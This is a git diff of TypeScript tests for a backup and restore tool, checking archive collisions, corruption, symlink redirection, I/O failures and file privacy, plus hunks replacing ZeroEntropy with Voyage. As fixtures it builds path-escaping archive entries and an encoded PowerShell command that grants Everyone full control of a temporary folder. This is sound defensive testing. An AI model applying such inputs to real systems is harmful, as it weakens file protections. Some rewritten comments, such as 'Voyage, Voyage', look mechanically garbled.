+ expect(() => checkedManagedPaths(null, ['Memory', 'memory/nested'])).toThrow();
+ expect(() => checkedManagedPaths(null, ['.GBRAIN/private'])).toThrow();
+});
+
+test('duplicate, case, normalization and file-directory collisions fail before extraction', () => {
+ for (const names of [['a', 'a'], ['a', 'A'], ['a', 'a/b'], ['a/b', 'a'], ['Memory/a', 'memory/b'], ['caf\u00e9/a', 'cafe\u0301/b']]) {
+ const bad = join(temporary, 'colliding-entry'); rawArchive(bad, names);
+ const into = fs.mkdtempSync(join(temporary, 'collision-'));
+ expect(() => readBackupArchive(bad, into)).toThrow('conflicting');
+ expect(fs.readdirSync(into)).toEqual([]);
+ }
+});
+
+test('a colliding restore inventory preserves its archive and never publishes ready', async () => {
+ const bad = join(temporary, 'duplicate.gbrain-backup'); rawArchive(bad, ['memory/a', 'Memory/b']);
+ const hash = sha256(fs.readFileSync(bad));
+ const into = join(temporary, 'duplicate-restore');
+ await expect(restorePgliteBackup({ archive: bad, into })).rejects.toThrow('conflicting');
+ await expectIncomplete(into);
+ expect(sha256(fs.readFileSync(bad))).toBe(hash);
+ expect(fs.existsSync(join(into, '.gbrain'))).toBe(false);
+ await expectOriginal();
+});
+
+for (const kind of ['corrupt', 'truncated'] as const) test(`${kind} archive preserves originals and never publishes ready`, async () => {
+ const bytes = fs.readFileSync(archive);
+ const bad = join(temporary, kind + '.gbrain-backup');
+ if (kind === 'corrupt') bytes[bytes.length - 1] ^= 1;
+ fs.writeFileSync(bad, kind === 'corrupt' ? bytes : bytes.subarray(0, bytes.length - 1));
+ const hash = sha256(fs.readFileSync(bad));
+ const into = join(temporary, kind + '-restore');
+ await expect(restorePgliteBackup({ archive: bad, into })).rejects.toThrow(kind === 'corrupt' ? 'checksum' : 'length');
+ await expectIncomplete(into);
+ expect(fs.existsSync(join(into, '.gbrain'))).toBe(false);
+ expect(sha256(fs.readFileSync(bad))).toBe(hash);
+ await expectOriginal();
+});
+
+test('an existing restore destination is never overwritten', async () => {
+ await expect(restorePgliteBackup({ archive, into: root })).rejects.toMatchObject({ code: 'restore_target_exists' });
+ await expectOriginal();
+});
+
+test('a live locked store refuses backup without removing its lease', async () => {
+ const lock = await acquireLock(join(root, '.gbrain', 'brain.pglite'));
+ const lockPath = join(lock.lockDir!, 'lock');
+ const lease = { ...JSON.parse(fs.readFileSync(lockPath, 'utf8')), subcommand: 'serve' };
+ fs.writeFileSync(lockPath, JSON.stringify(lease));
+ const output = join(temporary, 'busy-backup');
+ try {
+ await expect(createPgliteBackup({ root, output })).rejects.toMatchObject({ code: 'pglite_busy' });
+ expect(JSON.parse(fs.readFileSync(lockPath, 'utf8'))).toEqual(lease);
+ expect(fs.existsSync(output)).toBe(false);
+ } finally { await releaseLock(lock); }
+ await expectOriginal();
+});
+
+test('symlinks or Windows junctions cannot redirect extraction or managed backup inputs', async () => {
+ const outside = join(temporary, 'link-target'); fs.mkdirSync(outside);
+ fs.writeFileSync(join(outside, 'sentinel'), 'unchanged');
+ const link = join(root, 'memory', 'redirect');
+ fs.symlinkSync(outside, link, process.platform === 'win32' ? 'junction' : 'dir');
+ try {
+ await expect(createPgliteBackup({ root, output: join(temporary, 'linked-backup') })).rejects.toMatchObject({ code: 'symlink_path' });
+ await expect(restorePgliteBackup({ archive, into: join(link, 'restore') })).rejects.toMatchObject({ code: 'symlink_path' });
+ const input = join(temporary, 'linked-extract'); rawArchive(input, ['redirect/escaped']);
+ expect(() => readBackupArchive(input, join(root, 'memory'))).toThrow('symlink');
+ expect(fs.readdirSync(outside)).toEqual(['sentinel']);
+ expect(fs.readFileSync(join(outside, 'sentinel'), 'utf8')).toBe('unchanged');
+ } finally { fs.unlinkSync(link); }
+ await expectOriginal();
+});
+
+for (const boundary of ['file-fsync', 'publication'] as const) test(`unexpected ${boundary} I/O failure retains private staging, originals and no ready receipt`, async () => {
+ const into = join(temporary, boundary + '-failure');
+ let injected = false;
+ const fsync = fs.fsyncSync; const rename = fs.renameSync;
+ const fault = boundary === 'file-fsync'
+ ? spyOn(fs, 'fsyncSync').mockImplementation(fd => {
+ if (!injected && fs.fstatSync(fd).isFile() && fs.fstatSync(fd).size > 1_000_000) {
+ injected = true; throw Object.assign(new Error('injected file I/O failure'), { code: 'EIO' });
+ }
+ fsync(fd);
+ })
+ : spyOn(fs, 'renameSync').mockImplementation((from, to) => {
+ if (String(to) === join(into, 'memory')) { injected = true; throw Object.assign(new Error('injected publication I/O failure'), { code: 'EIO' }); }
+ rename(from, to);
+ });
+ try { await expect(restorePgliteBackup({ archive, into })).rejects.toMatchObject({ code: 'EIO' }); }
+ finally { fault.mockRestore(); }
+ expect(injected).toBe(true);
+ await expectIncomplete(into);
+ await expect(restorePgliteBackup({ archive, into })).rejects.toMatchObject({ code: 'restore_target_exists' });
+ await expectOriginal();
+});
+
+for (const boundary of ['backup-directory', 'restore-root', 'archive-file'] as const) test(`unavailable ${boundary} privacy refuses before payload bytes or ready state`, async () => {
+ const into = join(temporary, boundary + '-privacy');
+ const output = join(temporary, boundary + '-archive');
+ const protect = privacy.protectNewBackupPath;
+ let refused = false;
+ const fault = spyOn(privacy, 'protectNewBackupPath').mockImplementation(async (path, kind) => {
+ if (boundary === 'restore-root' ? path === into : boundary === 'archive-file' ? kind === 'file' : kind === 'directory') {
+ expect(kind === 'directory' ? fs.readdirSync(path) : fs.readFileSync(path)).toEqual(kind === 'directory' ? [] : Buffer.alloc(0));
+ refused = true;
+ if (process.platform === 'win32') {
+ const systemRoot = process.env.SystemRoot;
+ process.env.SystemRoot = join(temporary, 'unavailable-windows-tools');
+ try { return await protect(path, kind); }
+ finally {
+ if (systemRoot === undefined) delete process.env.SystemRoot;
+ else process.env.SystemRoot = systemRoot;
+ }
+ }
+ throw new AgentInstallError('private_backup_path_unavailable', 'injected unavailable Windows privacy enforcement');
+ }
+ await protect(path, kind);
+ });
+ try {
+ await expect(boundary === 'restore-root' ? restorePgliteBackup({ archive, into }) : createPgliteBackup({ root, output })).rejects.toMatchObject({ code: 'private_backup_path_unavailable' });
+ } finally { fault.mockRestore(); }
+ expect(refused).toBe(true);
+ expect(fs.existsSync(output)).toBe(false);
+ expect(fs.readdirSync(temporary).some(name => name.includes('.partial-') || name.startsWith('.gbrain-backup-'))).toBe(false);
+ if (boundary === 'restore-root') expect(fs.readdirSync(into)).toEqual([]);
+ await expectOriginal();
+});
+
+for (const boundary of ['backup-directory', 'restore-root'] as const) for (const permitted of [true, false]) test(`pending ${boundary} privacy prevents payload publication before ${permitted ? 'success' : 'refusal'}`, async () => {
+ const into = join(temporary, `pending-${boundary}-${permitted}-restore`);
+ const output = join(temporary, `pending-${boundary}-${permitted}-archive`);
+ let release!: (permitted: boolean) => void;
+ const permission = new Promise<boolean>(resolve => { release = resolve; });
+ let entered!: () => void;
+ const pending = new Promise<void>(resolve => { entered = resolve; });
+ let privatePath = '';
+ let protectionReleased = false;
+ let prematureOpen = false;
+ let settled = false;
+ const protect = privacy.protectNewBackupPath;
+ const connect = PGLiteEngine.prototype.connect;
+ const opened = spyOn(PGLiteEngine.prototype, 'connect').mockImplementation(async function (this: PGLiteEngine, config) {
+ if (!protectionReleased) { prematureOpen = true; throw new Error('database opened before privacy completed'); }
+ return connect.call(this, config);
+ });
+ const paused = spyOn(privacy, 'protectNewBackupPath').mockImplementation(async (path, kind) => {
+ if (!privatePath && (boundary === 'restore-root' ? path === into : kind === 'directory')) {
+ privatePath = path;
+ entered();
+ if (!await permission) throw new AgentInstallError('private_backup_path_unavailable', 'injected delayed privacy refusal');
+ await protect(path, kind);
+ protectionReleased = true;
+ return;
+ }
+ await protect(path, kind);
+ });
+ const result = (boundary === 'restore-root' ? restorePgliteBackup({ archive, into }) : createPgliteBackup({ root, output }))
+ .then(value => ({ value, error: null }), error => ({ value: null, error }))
+ .finally(() => { settled = true; });
+ try {
+ await Promise.race([pending, result.then(() => { throw new Error('operation finished without pending privacy'); })]);
+ await new Promise<void>(resolve => setImmediate(resolve));
+ expect(settled).toBe(false);
+ expect(prematureOpen).toBe(false);
+ expect(fs.readdirSync(privatePath)).toEqual([]);
+ expect(fs.existsSync(output)).toBe(false);
+ expect(fs.existsSync(join(into, 'restore-receipt.json'))).toBe(false);
+ expect(fs.existsSync(join(into, '.gbrain'))).toBe(false);
+ expect(protectedFiles()).toEqual(originalFiles);
+ expect(sha256(fs.readFileSync(archive))).toBe(archiveHash);
+ release(permitted);
+ const outcome = await result;
+ if (permitted) {
+ expect(outcome.error).toBeNull();
+ expect(outcome.value).not.toBeNull();
+ expect(protectionReleased).toBe(true);
+ if (boundary === 'restore-root') {
+ expect(JSON.parse(fs.readFileSync(join(into, 'restore-receipt.json'), 'utf8'))).toMatchObject({ state: 'ready', launcher_ready: false });
+ await expectPrivate(into, true, true);
+ } else {
+ expect(fs.statSync(output).size).toBeGreaterThan(0);
+ await expectPrivate(output, false, true);
+ }
+ } else {
+ expect(outcome.error).toMatchObject({ code: 'private_backup_path_unavailable' });
+ expect(outcome.value).toBeNull();
+ expect(fs.existsSync(output)).toBe(false);
+ expect(fs.existsSync(join(into, 'restore-receipt.json'))).toBe(false);
+ if (boundary === 'restore-root') expect(fs.readdirSync(into)).toEqual([]);
+ else expect(fs.existsSync(privatePath)).toBe(false);
+ }
+ expect(prematureOpen).toBe(false);
+ } finally {
+ release(false);
+ await result;
+ paused.mockRestore(); opened.mockRestore();
+ }
+ await expectOriginal();
+});
+
+test('backup paths exclude inherited public access without changing the existing parent', async () => {
+ const parent = join(temporary, 'public-parent'); fs.mkdirSync(parent);
+ const powershell = join(process.env.SystemRoot ?? 'C:\\Windows', 'System32', 'WindowsPowerShell', 'v1.0', 'powershell.exe');
+ const inspectParent = async () => process.platform === 'win32'
+ ? (await collectChild(powershell, ['-NoLogo', '-NoProfile', '-NonInteractive', '-Command', '[IO.Directory]::GetAccessControl($env:GBRAIN_TEST_ACL_PATH).GetSecurityDescriptorSddlForm([Security.AccessControl.AccessControlSections]::All)'], {
+ env: { ...process.env, GBRAIN_TEST_ACL_PATH: parent }, encoding: 'utf8', timeout: 15_000, maxBuffer: 64 * 1024, windowsHide: true,
+ })).trim() : fs.statSync(parent).mode;
+ if (process.platform === 'win32') {
+ const script = `$ErrorActionPreference='Stop'; $a=[IO.Directory]::GetAccessControl($env:GBRAIN_TEST_ACL_PATH);
+$r=[Security.AccessControl.FileSystemAccessRule]::new([Security.Principal.SecurityIdentifier]::new('S-1-1-0'),[Security.AccessControl.FileSystemRights]::FullControl,[Security.AccessControl.InheritanceFlags]'ContainerInherit, ObjectInherit',[Security.AccessControl.PropagationFlags]::None,[Security.AccessControl.AccessControlType]::Allow);
+$a.AddAccessRule($r); [IO.Directory]::SetAccessControl($env:GBRAIN_TEST_ACL_PATH, $a)`;
+ await collectChild(powershell, ['-NoLogo', '-NoProfile', '-NonInteractive', '-EncodedCommand', Buffer.from(script, 'utf16le').toString('base64')], {
+ env: { ...process.env, GBRAIN_TEST_ACL_PATH: parent }, encoding: 'utf8', timeout: 15_000, maxBuffer: 64 * 1024, windowsHide: true,
+ });
+ } else fs.chmodSync(parent, 0o777);
+ const before = await inspectParent();
+ const output = join(parent, 'snapshot.gbrain-backup');
+ const protect = privacy.protectNewBackupPath;
+ const inspected = spyOn(privacy, 'protectNewBackupPath').mockImplementation(async (path, kind) => {
+ await protect(path, kind); await expectPrivate(path, kind === 'directory', true);
+ });
+ try { await createPgliteBackup({ root, output }); }
+ finally { inspected.mockRestore(); }
+ await expectPrivate(output, false, true);
+ const into = join(parent, 'retained-failure');
+ const rename = fs.renameSync;
+ let interrupted = false;
+ const fault = spyOn(fs, 'renameSync').mockImplementation((from, to) => {
+ rename(from, to);
+ if (String(to) === join(into, '.gbrain')) {
+ interrupted = true;
+ throw new Error('injected public-parent restore interruption');
+ }
+ });
+ try { await expect(restorePgliteBackup({ archive: output, into })).rejects.toThrow('injected public-parent restore interruption'); }
+ finally { fault.mockRestore(); }
+ expect(interrupted).toBe(true);
+ await expectIncomplete(into);
+ await expectPrivate(join(into, '.gbrain', 'brain.pglite', 'PG_VERSION'), false);
+ expect(fs.readFileSync(join(into, '.gbrain', 'brain.pglite', 'PG_VERSION'), 'utf8').trim()).toBe('17');
+ const [stage] = fs.readdirSync(into).filter(name => name.startsWith('.restore-'));
+ await expectPrivate(join(into, stage, 'payload', 'database.tar'), false);
+ expect(fs.statSync(join(into, stage, 'payload', 'database.tar')).size).toBeGreaterThan(0);
+ expect(await inspectParent()).toBe(before);
+ await expectOriginal();
+}, 120_000);
+
+for (const failureCode of [null, 'EPERM', 'EIO'] as const) test(failureCode
+ ? `restore preserves private staging when a writable file flush fails with ${failureCode}`
+ : 'restore honors a simulated Windows writable-handle file-flush requirement', async () => {
+ const into = join(temporary, `writable-flush-${failureCode ?? 'success'}`);
+ const open = fs.openSync; const fsync = fs.fsyncSync; const close = fs.closeSync;
+ const handles = new Map<number, string>();
+ const flagsSeen: string[] = [];
+ let versionPath = '';
+ let flushes = 0;
+ let closes = 0;
+ const flushError = failureCode ? Object.assign(new Error('injected restored writable-file flush failure'), { code: failureCode }) : null;
+ const opened = spyOn(fs, 'openSync').mockImplementation((path, flags, mode) => {
+ const fd = open(path, flags, mode);
+ if (String(path).startsWith(join(into, '.restore-')) && String(path).endsWith(join('restored', '.gbrain', 'brain.pglite', 'PG_VERSION')) && (flags === 'r' || flags === 'r+')) {
+ versionPath = String(path);
+ handles.set(fd, flags);
+ flagsSeen.push(flags);
+ }
+ return fd;
+ });
+ const synced = spyOn(fs, 'fsyncSync').mockImplementation(fd => {
+ if (handles.has(fd)) {
+ flushes++;
+ if (handles.get(fd) === 'r') throw Object.assign(new Error('simulated Windows read-only file flush refusal'), { code: 'EPERM' });
+ if (flushError) throw flushError;
+ }
+ fsync(fd);
+ });
+ const closed = spyOn(fs, 'closeSync').mockImplementation(fd => {
+ close(fd);
+ if (handles.delete(fd)) closes++;
+ });
+ try {
+ if (flushError) await expect(restorePgliteBackup({ archive, into })).rejects.toBe(flushError);
+ else expect((await restorePgliteBackup({ archive, into })).root).toBe(into);
+ } finally { opened.mockRestore(); synced.mockRestore(); closed.mockRestore(); }
+ expect(flagsSeen).toEqual(['r+']);
+ expect(flushes).toBe(1);
+ expect(closes).toBe(1);
+ if (flushError) {
+ await expectIncomplete(into);
+ expect(fs.existsSync(join(into, '.gbrain'))).toBe(false);
+ await expectPrivate(versionPath, false);
+ expect(fs.readFileSync(versionPath, 'utf8').trim()).toBe('17');
+ const [stage] = fs.readdirSync(into).filter(name => name.startsWith('.restore-'));
+ await expectPrivate(join(into, stage, 'payload', 'database.tar'), false);
+ expect(fs.statSync(join(into, stage, 'payload', 'database.tar')).size).toBeGreaterThan(0);
+ } else {
+ expect(JSON.parse(fs.readFileSync(join(into, 'restore-receipt.json'), 'utf8')).state).toBe('ready');
+ await expectPrivate(join(into, '.gbrain', 'brain.pglite', 'PG_VERSION'), false);
+ expect(fs.readFileSync(join(into, '.gbrain', 'brain.pglite', 'PG_VERSION'), 'utf8').trim()).toBe('17');
+ expect(fs.readFileSync(join(into, 'memory', 'nested', 'note.md'))).toEqual(fs.readFileSync(join(root, 'memory', 'nested', 'note.md')));
+ expect(fs.readFileSync(join(into, 'memory', 'attachments', 'nested', 'bytes.bin'))).toEqual(attachment);
+ expect((await databaseState(into)).facts).toEqual(original.facts);
+ }
+ await expectOriginal();
+}, 120_000);
diff --git a/test/balanced-reranker-default.test.ts b/test/balanced-reranker-default.test.ts
index c29ebf0b58..92d6f04560 100644
--- a/test/balanced-reranker-default.test.ts
+++ b/test/balanced-reranker-default.test.ts
@@ -73,7 +73,7 @@ describe('applyReranker — fail-open contract (D6 + R8)', () => {
topNIn: 30,
topNOut: null,
rerankerFn: async () => {
- throw new RerankError('missing ZEROENTROPY_API_KEY', 'auth');
+ throw new RerankError('missing VOYAGE_API_KEY', 'auth');
},
};
const out = await applyReranker('test query', results, opts);
diff --git a/test/brain-score-recommendations.test.ts b/test/brain-score-recommendations.test.ts
index 5c503c1803..1887b173df 100644
--- a/test/brain-score-recommendations.test.ts
+++ b/test/brain-score-recommendations.test.ts
@@ -36,7 +36,7 @@ describe('embeddingProviderConfigured (recipe-aware helper)', () => {
test('behavior-change: voyage judged by VOYAGE_API_KEY, not an OpenAI key', () => {
// New (correct) behavior — pre-fix doctor judged voyage by whether any
- // openai/ZE key existed.
+ // openai/Voyage key existed.
expect(embeddingProviderConfigured('voyage:voyage-3', (k) => k === 'VOYAGE_API_KEY')).toBe(true);
expect(embeddingProviderConfigured('voyage:voyage-3', (k) => k === 'OPENAI_API_KEY')).toBe(false);
});
@@ -59,7 +59,6 @@ describe('embeddingProviderConfigured (recipe-aware helper)', () => {
// would make the provider look "configured" and dispatch a doomed embed job.
test('HOSTED_EMBED_KEY_CONFIG only maps gateway-propagated config keys', () => {
expect(HOSTED_EMBED_KEY_CONFIG.OPENAI_API_KEY).toBe('openai_api_key');
- expect(HOSTED_EMBED_KEY_CONFIG.ZEROENTROPY_API_KEY).toBe('zeroentropy_api_key');
// #2662: buildGatewayConfig now folds voyage_api_key → VOYAGE_API_KEY,
// so this producer-facing map must recognize it as gateway-propagated.
expect(HOSTED_EMBED_KEY_CONFIG.VOYAGE_API_KEY).toBe('voyage_api_key');
diff --git a/test/canonical-migration-command.test.ts b/test/canonical-migration-command.test.ts
index 7326f3d736..1a665ca3a4 100644
--- a/test/canonical-migration-command.test.ts
+++ b/test/canonical-migration-command.test.ts
@@ -10,7 +10,6 @@
* 2. Source sweep: every `--to voyage:voyage-4` literal in src/ carries
* `--dim 1024` on the same line; no `<provider:model>` placeholder
* command survives anywhere in src/.
- * 3. Every sunset-warning surface consumes the renderer.
*
* The docs/skills sweep (same pairing rule over *.md) lives with the docs
* wave commit — see the docs assertions appended there.
@@ -120,49 +119,4 @@ describe('canonical migration command (single home: ai/defaults.ts)', () => {
expect(offenders).toEqual([]);
expect(phantoms).toEqual([]);
});
-
- test('the ZE-sunset playbook carries the guess-killers', () => {
- const playbook = readFileSync(join(import.meta.dir, '..', 'skills', 'migrations', 'v0.46.3.0.md'), 'utf-8');
- // Env preflight (the incident class): named vars + unset instruction.
- expect(playbook).toContain('GBRAIN_EMBEDDING_MODEL');
- expect(playbook).toContain('unset GBRAIN_EMBEDDING_MODEL GBRAIN_EMBEDDING_DIMENSIONS');
- // Status surface + recovery + exit codes.
- expect(playbook).toContain('gbrain migrate embeddings --status');
- expect(playbook).toContain('## Recovery');
- expect(playbook).toContain('Exit codes');
- // Reranker handled in the same run + the plane asymmetry explained.
- expect(playbook).toContain('--reranker');
- expect(playbook).toContain('plane asymmetry');
- // The canonical command, correctly paired.
- expect(playbook).toContain('gbrain migrate embeddings --to voyage:voyage-4 --dim 1024');
-
- // Stale playbooks carry the do-not-follow banner.
- for (const rel of ['skills/migrations/v0.35.0.0.md', 'skills/migrations/v0.36.2.0.md']) {
- const text = readFileSync(join(import.meta.dir, '..', rel), 'utf-8');
- expect(text).toContain('HISTORICAL — DO NOT FOLLOW');
- expect(text).toContain('v0.46.3.0.md');
- }
- });
-
- test('every sunset-warning surface consumes the renderer', () => {
- const consumers = [
- 'src/core/ai/gateway.ts',
- 'src/commands/init.ts',
- 'src/core/advisor/collect-setup-smells.ts',
- 'src/commands/upgrade.ts',
- 'src/core/ze-exposure.ts',
- 'src/commands/ze-switch.ts',
- // Interim ZE cleanup: providers env prints the off-ramp for sunsetting
- // recipes instead of the signup funnel.
- 'src/commands/providers.ts',
- ];
- for (const rel of consumers) {
- const text = readFileSync(join(import.meta.dir, '..', rel), 'utf-8');
- expect(text.includes('renderCanonicalMigrationCommands')).toBe(true);
- }
- // Doctor's consumer (checkProviderSunset) lives in the peeled checks tree;
- // the containment convention reads the concatenated doctor surface.
- const { doctorSource } = require('./helpers/doctor-source.ts');
- expect(doctorSource().includes('renderCanonicalMigrationCommands')).toBe(true);
- });
});
diff --git a/test/capability.test.ts b/test/capability.test.ts
index 767f07f607..076187aaee 100644
--- a/test/capability.test.ts
+++ b/test/capability.test.ts
@@ -41,7 +41,7 @@ describe('detectCapabilities — matrix', () => {
test('env-only anthropic key → extraction keyed, embeddings still keyword-only', () => {
// Default chat model is anthropic; default embedding model is
- // zeroentropyai — an Anthropic key alone unlocks extraction but NOT
+ // Voyage — an Anthropic key alone unlocks extraction but NOT
// semantic search.
const caps = detectCapabilities({
config: null,
diff --git a/test/cli-help-without-brain.serial.test.ts b/test/cli-help-without-brain.serial.test.ts
index 9c56d15093..f6571a00dd 100644
--- a/test/cli-help-without-brain.serial.test.ts
+++ b/test/cli-help-without-brain.serial.test.ts
@@ -35,9 +35,6 @@ const HELP_WITHOUT_BRAIN = [
'sources',
// cathedral-6: agent answers --help (incl. `register --help`) engine-free.
'agent',
- // ZE interim cleanup: the retired ze-switch shim answers --help engine-free
- // (truthful sunset copy + the canonical migration command).
- 'ze-switch',
];
/**
diff --git a/test/config-file-plane-keys.test.ts b/test/config-file-plane-keys.test.ts
index 1d983008b7..59ea92c908 100644
--- a/test/config-file-plane-keys.test.ts
+++ b/test/config-file-plane-keys.test.ts
@@ -197,7 +197,6 @@ describe('config set — backup.* file-plane keys', () => {
const GATEWAY_MAPPED_KEYS = [
'openai_api_key',
'anthropic_api_key',
- 'zeroentropy_api_key',
'openrouter_api_key',
'voyage_api_key',
'dashscope_api_key',
diff --git a/test/config-gbrain-env-file.test.ts b/test/config-gbrain-env-file.test.ts
index b3a7dda5e8..c3e8f60a5a 100644
--- a/test/config-gbrain-env-file.test.ts
+++ b/test/config-gbrain-env-file.test.ts
@@ -72,19 +72,19 @@ describe('loadConfig — ~/.gbrain/.env secrets file (#3893)', () => {
[
'ANTHROPIC_API_KEY="sk-quoted-value"',
"OPENROUTER_API_KEY='sk-single-quoted'",
- 'ZEROENTROPY_API_KEY=sk-inline # trailing comment',
+ 'VOYAGE_API_KEY=sk-inline # trailing comment',
'',
].join('\n'),
{
ANTHROPIC_API_KEY: undefined,
OPENROUTER_API_KEY: undefined,
- ZEROENTROPY_API_KEY: undefined,
+ VOYAGE_API_KEY: undefined,
},
() => {
loadConfig();
expect(process.env.ANTHROPIC_API_KEY).toBe('sk-quoted-value');
expect(process.env.OPENROUTER_API_KEY).toBe('sk-single-quoted');
- expect(process.env.ZEROENTROPY_API_KEY).toBe('sk-inline');
+ expect(process.env.VOYAGE_API_KEY).toBe('sk-inline');
},
);
});
diff --git a/test/config-set.test.ts b/test/config-set.test.ts
index 6924c7bee2..d7ba062922 100644
--- a/test/config-set.test.ts
+++ b/test/config-set.test.ts
@@ -84,18 +84,9 @@ describe('KNOWN_CONFIG_KEYS', () => {
// or `config set` rejects the wave's own enable command without --force.
expect(KNOWN_CONFIG_KEYS).toContain('agent.use_gateway_loop');
expect(KNOWN_CONFIG_KEYS).toContain('openrouter_api_key');
- expect(KNOWN_CONFIG_KEYS).toContain('zeroentropy_api_key');
expect(KNOWN_CONFIG_KEYS).toContain('deepseek_api_key');
});
- test('registers the provider_sunset suppression key (v0.46.3 documented command)', () => {
- // doctor.ts + docs/guides/embedding-migration.md both document
- // `gbrain config set doctor.suppress_provider_sunset true`; the key must
- // be registered or the documented command exits 1 with "Unknown config
- // key". Exact key, deliberately not a 'doctor.' prefix.
- expect(KNOWN_CONFIG_KEYS).toContain('doctor.suppress_provider_sunset');
- });
-
test('contains the working-tree sync toggle (untracked-gap fix)', () => {
// The drift NOTE + stderr warning both tell users to run
// `gbrain config set sync.include_working_tree true`; the key must be
diff --git a/test/consolidate-valid-until.test.ts b/test/consolidate-valid-until.test.ts
index 0656ddc183..fcf4ec01d2 100644
--- a/test/consolidate-valid-until.test.ts
+++ b/test/consolidate-valid-until.test.ts
@@ -20,11 +20,11 @@ import { configureGateway, resetGateway } from '../src/core/ai/gateway.ts';
let engine: PGLiteEngine;
beforeAll(async () => {
- // v0.36.2.0: DEFAULT_EMBEDDING_DIMENSIONS flipped to 1280 (ZE Matryoshka).
+ // v0.36.2.0: DEFAULT_EMBEDDING_DIMENSIONS flipped to 1024 (Voyage Matryoshka).
// This test inserts 1536-dim unit vectors (line ~38). If another test file
// in the shard configured the gateway before us, initSchema() would size
- // facts.embedding at vector(1280) and the inserts below would throw
- // "expected 1280 dimensions, not 1536". Pin the gateway to 1536d so this
+ // facts.embedding at vector(1024) and the inserts below would throw
+ // "expected 1024 dimensions, not 1536". Pin the gateway to 1536d so this
// file is hermetic against cross-file state.
resetGateway();
configureGateway({
diff --git a/test/core/budget/budget-tracker.test.ts b/test/core/budget/budget-tracker.test.ts
index 636efef39a..3de97509a2 100644
--- a/test/core/budget/budget-tracker.test.ts
+++ b/test/core/budget/budget-tracker.test.ts
@@ -346,10 +346,10 @@ describe('BudgetTracker.reserve', () => {
expect(t.totalSpent).toBeGreaterThan(0);
});
- test('#3223: rerank kind for zeroentropyai:zerank-2 prices from the embedding table (no TX2 throw under --max-cost)', () => {
- // Pre-fix: `search_mode: tokenmax` defaults the zerank-2 reranker ON
- // (docs/ai-providers/zeroentropy.md), but lookupPricing's rerank branch
- // never consulted the embedding pricing table (where ZeroEntropy's
+ test('#3223: rerank kind for voyage:rerank-2.5-lite prices from the embedding table (no TX2 throw under --max-cost)', () => {
+ // Pre-fix: `search_mode: tokenmax` defaults the rerank-2.5-lite reranker ON
+ // (docs/ai-providers/README.md), but lookupPricing's rerank branch
+ // never consulted the embedding pricing table (where Voyage's
// provider:model-keyed prices live) — so any --max-cost run that
// reranked TX2 hard-failed with "no pricing entry" even after adding
// the entry to EMBEDDING_PRICING alone. Fixed by wiring the rerank
@@ -357,7 +357,7 @@ describe('BudgetTracker.reserve', () => {
const t = new BudgetTracker({ maxCostUsd: 0.0001, label: 'test', auditPath });
expect(() =>
t.reserve({
- modelId: 'zeroentropyai:zerank-2',
+ modelId: 'voyage:rerank-2.5-lite',
estimatedInputTokens: 3000,
maxOutputTokens: 0,
kind: 'rerank',
@@ -366,15 +366,15 @@ describe('BudgetTracker.reserve', () => {
expect(t.totalSpent).toBe(0); // reserve() only projects; record() below banks it.
expect(() =>
t.record({
- modelId: 'zeroentropyai:zerank-2',
+ modelId: 'voyage:rerank-2.5-lite',
inputTokens: 3000,
outputTokens: 0,
kind: 'rerank',
}),
).not.toThrow();
- // $0.025/1M * 3000 tokens = $0.000075, under the $0.0001 cap — proves the
- // real ZeroEntropy price was used, not a $0 fallback.
- expect(t.totalSpent).toBeCloseTo(0.000075, 9);
+ // $0.02/1M * 3000 tokens = $0.00006, under the $0.0001 cap — proves the
+ // real Voyage price was used, not a $0 fallback.
+ expect(t.totalSpent).toBeCloseTo(0.00006, 9);
});
test('v0.40.x: local embed providers price at $0 (no TX2 throw under --max-cost)', () => {
diff --git a/test/cosine-rescore-column.test.ts b/test/cosine-rescore-column.test.ts
index a832f5a48c..af66ef3905 100644
--- a/test/cosine-rescore-column.test.ts
+++ b/test/cosine-rescore-column.test.ts
@@ -29,10 +29,10 @@ let chunkId2: number;
beforeAll(async () => {
// Pin the embedding dim to 1536 BEFORE initSchema. initSchema sizes the
- // `embedding` column from getEmbeddingDimensions() (default 1280 =
- // zeroentropyai). This test hardcodes 1536-dim vectors + asserts 1536, so
+ // `embedding` column from getEmbeddingDimensions() (default 1024 =
+ // Voyage). This test hardcodes 1536-dim vectors + asserts 1536, so
// it must NOT inherit ambient/leaked gateway state (which is 1536 from a
- // local ~/.gbrain config but 1280 in CI → vector(1280) → insert fails).
+ // local ~/.gbrain config but 1024 in CI → vector(1024) → insert fails).
// Pinning here makes the column deterministically 1536 regardless of order.
configureGateway({
embedding_model: 'openai:text-embedding-3-large',
diff --git a/test/cycle-consolidate.test.ts b/test/cycle-consolidate.test.ts
index fe3462bc54..b04682c652 100644
--- a/test/cycle-consolidate.test.ts
+++ b/test/cycle-consolidate.test.ts
@@ -19,12 +19,12 @@ beforeAll(async () => {
engine = new PGLiteEngine();
await engine.connect({});
// initSchema() bakes the facts.embedding dim from the gateway's configured
- // embedding model; the default is now 1280-d (ZE). This file's fixtures are
+ // embedding model; the default is now 1024-d (Voyage). This file's fixtures are
// 1536-d, so pin the legacy 1536-d OpenAI config (matching
// test/helpers/legacy-embedding-preload.ts) right before initSchema. The
// global preload sets this, but a co-sharded test that calls resetGateway()
- // in its teardown nulls it, leaving initSchema to fall back to the 1280-d
- // default and build a halfvec(1280) column the 1536-d inserts can't fill.
+ // in its teardown nulls it, leaving initSchema to fall back to the 1024-d
+ // default and build a halfvec(1024) column the 1536-d inserts can't fill.
// Re-pinning here makes the schema deterministic regardless of shard
// neighbors (surfaced when #1972's new test files reshuffled the shards).
configureGateway({
diff --git a/test/cycle-enabled-phase-completeness.test.ts b/test/cycle-enabled-phase-completeness.test.ts
index 618db6ebdb..ee6d502ef1 100644
--- a/test/cycle-enabled-phase-completeness.test.ts
+++ b/test/cycle-enabled-phase-completeness.test.ts
@@ -146,7 +146,7 @@ describe('#2540 (ii) — an enabled phase that never completes still prevents th
// against a brain directory that no longer exists. The previous shape
// ('embed' with OPENAI_API_KEY/ANTHROPIC_API_KEY unset) was
// environment-sensitive — on a machine where any OTHER embedding
- // provider resolves (Voyage, ZeroEntropy, a local endpoint, …), embed
+ // provider resolves (Voyage, Voyage, a local endpoint, …), embed
// with zero stale chunks succeeds and the cycle reports 'clean',
// flipping this test's expectation. A vanished checkout fails the
// sync phase on every machine. This is NOT the fix under test; it's
diff --git a/test/degraded-stages-recall.test.ts b/test/degraded-stages-recall.test.ts
index dd4d9f3628..86ce0aef13 100644
--- a/test/degraded-stages-recall.test.ts
+++ b/test/degraded-stages-recall.test.ts
@@ -12,7 +12,7 @@ describe('affectsRecall', () => {
test('reranker_skipped is ranking-only', () => {
